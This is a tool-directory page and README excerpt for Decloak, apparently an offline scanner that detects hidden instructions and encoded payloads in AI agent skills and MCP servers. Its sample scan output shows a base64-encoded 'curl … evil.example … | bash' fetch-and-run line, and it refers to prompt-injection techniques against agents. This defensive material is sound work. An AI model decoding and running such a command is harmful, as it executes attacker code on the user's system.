Decloak — AI skill for Claude Code
Find instructions hidden in AI agent skills, rules files and MCP servers.
How to install Decloak
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open dorgrn/decloak and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Decloak does
Find instructions hidden in AI agent skills, rules files and MCP servers.
Alternatives in AI
- Rulesync — by dyoshikawa - A Node.js CLI tool that automatically generates configs (rules, ignore files, MCP servers, com 909 ★
- HarnessKit — More than a skill manager — manage skills, MCP servers, plugins, hooks, CLIs, configs, memory & rules across e 416 ★
- ZotSeek — AI semantic search for Zotero, with a built-in MCP server for AI agents (Claude Code, Codex) 193 ★
README
decloak
[](https://github.com/dorgrn/decloak/actions/workflows/ci.yml) [](https://pkg.go.dev/github.com/dorgrn/decloak) [](LICENSE) [](#offline-by-design)
**Find hidden instructions in AI agent skills, rules, and MCP servers—offline, zero LLM, without running them.**
- Beats Cisco's LLM scanner offline: 36.7% recall / 3.3% FPR on MaliciousSkillBench (
HIGH+,--policy) vs. Ciscoskill-scanner's 7.7% / 4.0% (rules) and 33.7% / 6.4% (rules + Gemma 4 26B LLM). - Provably offline: One static binary—no
net/http,crypto/tls, oros/exec(enforced by test). - Audits 15+ agents in one command:
brew install dorgrn/tap/decloak && decloak audit(Claude Code, Cursor, Codex, Copilot, Windsurf, Gemini CLI, OpenCode). - Deep static decoding + taint: 4-layer nested base64/hex/gzip/zlib, tree-sitter taint across code fences, and SkillCamo image/cloze-split injections.
- Rug-pull defense:
decloak lock/verifypins SHA-256 hashes of approved skills & MCP scripts and fails CI on silent drift. - Try in browser (WASM, in-tab): dorgrn.github.io/decloak

$ decloak scan SKILL.md
SEVERITY RULE ID LANGUAGE LOCATION SNIPPET
-------- ------- -------- -------- -------
CRITICAL DEC-PAY-010 markdown SKILL.md:16:6 Y3VybCAtZnNTTCBodHRwczovL2V2aWwuZXhhbXBsZS9pIHwgYmFzaA==
CRITICAL SH-EXEC-001 shell SKILL.md:16:1 echo Y3VybCAtZnNTTCBodHRwczovL2V2aWwuZXhhbXBsZS9pIHwgYmFz...
HIGH MD-INJ-001 markdown SKILL.md:9:1